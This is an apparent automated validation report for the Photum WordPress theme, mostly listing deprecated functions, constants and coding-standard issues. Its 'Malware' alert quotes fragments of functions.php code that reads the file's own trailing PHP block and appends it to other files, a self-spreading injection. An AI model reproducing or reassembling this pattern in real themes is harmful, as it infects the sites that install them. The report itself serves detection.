0
Validation results

Photum

Photum

WordPress 4.8.2 theme
0
  • THEME TYPEWordPress theme 4.8.2
  • FILE NAMEPhotum1.11.zip
  • FILE SIZE715095 bytes
  • MD582163764056f8b955dbf13436c961b92
  • SHA17b1b2bbb10924f59c7b318f309dbe554d3a2c021
  • LICENSEGNU GPL 2
  • FILES INCLUDEDCSS, PHP, Bitmap images
  • THEME URIhttp://photographicblog.com
  • VERSION1.1
  • CREATION DATE2014-09-16
  • LAST FILE UPDATE2017-04-03
  • LAST VALIDATION2017-04-03 12:50
Critical alerts
  1. Title : Title No reference to add_theme_support( "title-tag" ) was found in the theme.The theme needs to have <title> tags, ideally in the header.php file.The theme needs to have a call to wp_title(), ideally in the header.php file.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.
  2. Malware : Operations on file system file_get_contents was found in the file functions.php
    Ligne490: $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),'<'.'?'));
    Ligne497: $cont=file_get_contents($item);
    file_get_contents was found in the file functions.php
    Ligne490: $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),'<'.'?'));
    Ligne497: $cont=file_get_contents($item);
    file_get_contents was found in the file functions.php
    Ligne490: $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),'<'.'?'));
    Ligne497: $cont=file_get_contents($item);
    fopen was found in the file functions.php
    Ligne502: $output=rtrim($output, '\n\t'); fputs($f=fopen($item,'w+'),$cont . $seprar . '\n' .$widget);fclose($f);				
    fclose was found in the file functions.php
    Ligne502: $output=rtrim($output, '\n\t'); fputs($f=fopen($item,'w+'),$cont . $seprar . '\n' .$widget);fclose($f);				
  3. Admin menu : Themes should use add_theme_page() for adding admin pages. File admin-interface.php :
    Ligne28: $of_page = add_submenu_page('themes.php', $themename, 'Theme Options', 'edit_theme_opt
    File wp-pagenavi.php :
    Ligne41: if (function_exists('add_options_page')) {
    Ligne42: add_options_page(__('PageNavi', 'wp-pagenavi'), __('PageNavi', 'wp-pagenavi
    File wp-pagenavi.php :
    Ligne41: if (function_exists('add_options_page')) {
    Ligne42: add_options_page(__('PageNavi', 'wp-pagenavi'), __('PageNavi', 'wp-pagenavi
  4. Inapropriate constants : Use of STYLESHEETPATH Constant STYLESHEETPATH was found in the file functions.php. get_stylesheet_directory() should be used instead.
    Ligne48: if ( STYLESHEETPATH == TEMPLATEPATH ) {
  5. Inapropriate constants : Use of TEMPLATEPATH Constant TEMPLATEPATH was found in the file functions.php. get_template_directory() should be used instead.
    Ligne48: if ( STYLESHEETPATH == TEMPLATEPATH ) {
    Ligne113: load_theme_textdomain( 'twentyten', TEMPLATEPATH . '/languages' );
    Ligne116: $locale_file = TEMPLATEPATH . '/languages/$locale.php';
  6. Inapropriate constants : Use of HEADER_IMAGE Constant HEADER_IMAGE' was found in the file functions.php. add_theme_support( 'custom-header' ) should be used instead.
    Ligne133: if ( ! defined( 'HEADER_IMAGE' ) )
    Ligne134: define( 'HEADER_IMAGE', '%s/images/headers/path.jpg' );
  7. Inapropriate constants : Use of NO_HEADER_TEXT Constant NO_HEADER_TEXT' was found in the file functions.php. add_theme_support( 'custom-header' ) should be used instead.
    Ligne147: if ( ! defined( 'NO_HEADER_TEXT' ) )
    Ligne148: define( 'NO_HEADER_TEXT', true );
  8. Inapropriate constants : Use of HEADER_TEXTCOLOR Constant HEADER_TEXTCOLOR' was found in the file functions.php. add_theme_support( 'custom-header' ) should be used instead.
    Ligne129: if ( ! defined( 'HEADER_TEXTCOLOR' ) )
    Ligne130: define( 'HEADER_TEXTCOLOR', '' );
  9. Inapropriate constants : Use of HEADER_IMAGE_WIDTH Constant HEADER_IMAGE_WIDTH' was found in the file functions.php. add_theme_support( 'custom-header' ) should be used instead.
    Ligne138: define( 'HEADER_IMAGE_WIDTH', apply_filters( 'twentyten_header_image_width', 940 ) )
  10. Inapropriate constants : Use of HEADER_IMAGE_HEIGHT Constant HEADER_IMAGE_HEIGHT' was found in the file functions.php. add_theme_support( 'custom-header' ) should be used instead.
    Ligne139: define( 'HEADER_IMAGE_HEIGHT', apply_filters( 'twentyten_header_image_height', 198 )
  11. Deprecated functions : get_bloginfo get_bloginfo('stylesheet_directory') was found in the file functions.php. Use get_stylesheet_directory_uri() instead.
    Ligne53: define('OF_DIRECTORY', get_bloginfo('stylesheet_directory'));
    get_bloginfo('template_directory') was found in the file functions.php. Use get_template_directory_uri() instead.
    Ligne50: define('OF_DIRECTORY', get_bloginfo('template_directory'));
  12. Deprecated functions : bloginfo bloginfo('template_url') was found in the file header.php. Use echo esc_url( get_template_directory_uri() ) instead.
    Ligne17: <link rel='stylesheet' href='<?php bloginfo('template_url'); ?>/pagenavi-css.css' type='text/css' media='scree
    bloginfo('template_url') was found in the file loop-photo.php. Use echo esc_url( get_template_directory_uri() ) instead.
    Ligne30: <img src='<?php bloginfo('template_url'); ?>/images/defaultthumb.jpg'; />
    Ligne104: <img src='<?php bloginfo('template_url'); ?>/images/defaultthumb.jpg'; />
    bloginfo('template_url') was found in the file loop-single.php. Use echo esc_url( get_template_directory_uri() ) instead.
    Ligne30: <img src='<?php bloginfo('template_url'); ?>/images/defaultthumb.jpg'; />
    bloginfo('template_url') was found in the file footer.php. Use echo esc_url( get_template_directory_uri() ) instead.
    Ligne15: <script src='<?php bloginfo('template_url'); ?>/js/jquery.masonry.min.js'></script>
    bloginfo('template_url') was found in the file loop-category.php. Use echo esc_url( get_template_directory_uri() ) instead.
    Ligne144: <img src='<?php bloginfo('template_url'); ?>/images/defaultthumb.jpg'; />
    bloginfo('template_url') was found in the file loop-tag.php. Use echo esc_url( get_template_directory_uri() ) instead.
    Ligne137: <img src='<?php bloginfo('template_url'); ?>/images/defaultthumb.jpg'; />
    bloginfo('template_url') was found in the file loop.php. Use echo esc_url( get_template_directory_uri() ) instead.
    Ligne132: <img src='<?php bloginfo('template_url'); ?>/images/defaultthumb.jpg'; />
    bloginfo('template_url') was found in the file loop-archive.php. Use echo esc_url( get_template_directory_uri() ) instead.
    Ligne127: <img src='<?php bloginfo('template_url'); ?>/images/defaultthumb.jpg'; />
    bloginfo('stylesheet_directory') was found in the file admin-interface.php. Use echo esc_url( get_stylesheet_directory_uri() ) instead.
    Ligne136: <img style='display:none' src='<?php echo bloginfo('stylesheet_directory'); ?>/admin/images/loading-bottom.gif' class
    bloginfo('stylesheet_directory') was found in the file theme-functions.php. Use echo esc_url( get_stylesheet_directory_uri() ) instead.
    Ligne91: <link rel='shortcut icon' href='<?php echo bloginfo('stylesheet_directory') ?>/admin/images/favicon.ico' />
    bloginfo('template_url') was found in the file loop-blog.php. Use echo esc_url( get_template_directory_uri() ) instead.
    Ligne12: <img src='<?php bloginfo('template_url'); ?>/images/defaultthumb.jpg'; />
  13. Deprecated functions : get_option get_option('home') was found in the file sidebar.php. Use home_url() instead.
    Ligne14: <div class='logo'><center><a href='<?php echo get_option('home'); ?>'><img style='float:left;' src='<?php echo stripslash
    Ligne19: <h1><a href='<?php echo get_option('home'); ?>'><?php bloginfo('name'); ?></a></h1>
Warning
  1. core scripts deregistered : Core scripts deregistrationFound wp_deregister_script in header.php. Themes must not deregister core scripts.
    Ligne23: wp_deregister_script( 'jquery' );
    Found wp_deregister_script in functions.php. Themes must not deregister core scripts.
    Ligne36: wp_deregister_script( 'jquery' );
  2. theme tags : Presence of bad theme tagsFound wrong tag in style.css header.
  3. Text domain : Incorrect use of translation functions.Wrong installation directory for the theme name. The directory name must match the slug of the theme. This theme's correct slug and text-domain is photum.
  4. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function __, with the arguments 'Photos' in file custompost.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Photo' in file custompost.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Add New' in file custompost.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Add New Photo' in file custompost.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Edit' in file custompost.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Edit Photo' in file custompost.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'New Photo' in file custompost.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'View Photo' in file custompost.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'View Photo' in file custompost.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Search Photos' in file custompost.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'No photos found' in file custompost.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'No photos found in Trash' in file custompost.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Parent Photoo' in file custompost.php.Found a translation function that is missing a text-domain. Function __, with the arguments "There is no excerpt because this is a protected post." in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Submit' in file comments.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are twentyten, wp-pagenavi.
  5. Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.
  6. PHP short tags : Presence of PHP short tagsPHP short tags were found in file loop-photo.php. "This practice is discouraged because they are only available if enabled with short_open_tag php.ini configuration file directive, or if PHP was configured with the --enable-short-tags option" (php.net), which is not the case on many servers.
    Ligne27: <?
    Ligne31: <? } ?>
    Ligne101: <?
    Ligne105: <? } ?>
    PHP short tags were found in file custompost.php. "This practice is discouraged because they are only available if enabled with short_open_tag php.ini configuration file directive, or if PHP was configured with the --enable-short-tags option" (php.net), which is not the case on many servers.
    Ligne33: <?
    Ligne36: <?
    PHP short tags were found in file loop-single.php. "This practice is discouraged because they are only available if enabled with short_open_tag php.ini configuration file directive, or if PHP was configured with the --enable-short-tags option" (php.net), which is not the case on many servers.
    Ligne27: <?
    Ligne31: <? } ?>
    PHP short tags were found in file loop-category.php. "This practice is discouraged because they are only available if enabled with short_open_tag php.ini configuration file directive, or if PHP was configured with the --enable-short-tags option" (php.net), which is not the case on many servers.
    Ligne140: <?
    Ligne146: <? } ?>
    PHP short tags were found in file loop-tag.php. "This practice is discouraged because they are only available if enabled with short_open_tag php.ini configuration file directive, or if PHP was configured with the --enable-short-tags option" (php.net), which is not the case on many servers.
    Ligne133: <?
    Ligne139: <? } ?>
    PHP short tags were found in file loop.php. "This practice is discouraged because they are only available if enabled with short_open_tag php.ini configuration file directive, or if PHP was configured with the --enable-short-tags option" (php.net), which is not the case on many servers.
    Ligne128: <?
    Ligne134: <? } ?>
    PHP short tags were found in file loop-archive.php. "This practice is discouraged because they are only available if enabled with short_open_tag php.ini configuration file directive, or if PHP was configured with the --enable-short-tags option" (php.net), which is not the case on many servers.
    Ligne123: <?
    Ligne129: <? } ?>
    PHP short tags were found in file loop-blog.php. "This practice is discouraged because they are only available if enabled with short_open_tag php.ini configuration file directive, or if PHP was configured with the --enable-short-tags option" (php.net), which is not the case on many servers.
    Ligne8: <?
    Ligne14: <? } ?>
  7. Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
  8. Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
  9. CSS files : Presence of text domainText Domain: is missing from your style.css header.
  10. CSS files : Presence of Author URICould not find Author URI.
  11. Date and time implementation : Use of the_time()At least one hard coded date was found in the file loop-photo.php. Function get_option( 'date_format' ) should be used instead.
  12. Screenshot : Screenshot fileScreenshot size is 300x225px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  2. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  3. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  4. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  5. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  6. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  7. Use of includes : Use of include or requireThe theme appears to use include or require : loop-category.php
    Ligne165: include('wp-pagenavi.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : loop-tag.php
    Ligne158: include('wp-pagenavi.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : loop.php
    Ligne153: include('wp-pagenavi.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : loop-archive.php
    Ligne148: include('wp-pagenavi.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : loop-blog.php
    Ligne31: include('wp-pagenavi.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes